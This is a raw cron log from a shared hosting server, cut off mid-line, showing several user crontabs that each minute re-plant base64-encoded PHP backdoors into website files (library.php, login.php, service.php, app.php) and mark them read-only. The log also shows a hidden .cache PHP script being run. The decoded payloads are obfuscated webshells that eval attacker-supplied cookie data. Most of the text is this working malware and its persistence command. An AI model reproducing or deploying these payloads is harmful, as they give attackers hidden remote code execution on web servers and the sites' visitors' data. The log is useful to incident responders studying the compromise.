Mar  1 06:56:01 medusa CROND[1094]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:56:01 medusa CROND[1096]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:57:02 medusa CROND[6129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:57:02 medusa CROND[6168]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:57:02 medusa CROND[6169]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 06:57:02 medusa CROND[6170]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:57:02 medusa CROND[6173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:57:02 medusa CROND[6174]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:57:02 medusa CROND[6177]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:57:02 medusa CROND[6178]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:57:02 medusa CROND[6181]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:57:02 medusa CROND[6179]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:57:02 medusa CROND[6182]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:57:02 medusa CROND[6189]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:58:02 medusa CROND[8418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:58:02 medusa CROND[8424]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:58:02 medusa CROND[8425]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 06:58:02 medusa CROND[8426]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:58:02 medusa CROND[8429]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:58:02 medusa CROND[8433]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:58:02 medusa CROND[8434]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:58:02 medusa CROND[8435]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:58:02 medusa CROND[8436]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:58:02 medusa CROND[8437]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:58:02 medusa CROND[8439]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:58:02 medusa CROND[8438]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:58:02 medusa CROND[8432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:58:02 medusa CROND[8444]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 06:59:01 medusa CROND[11208]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAu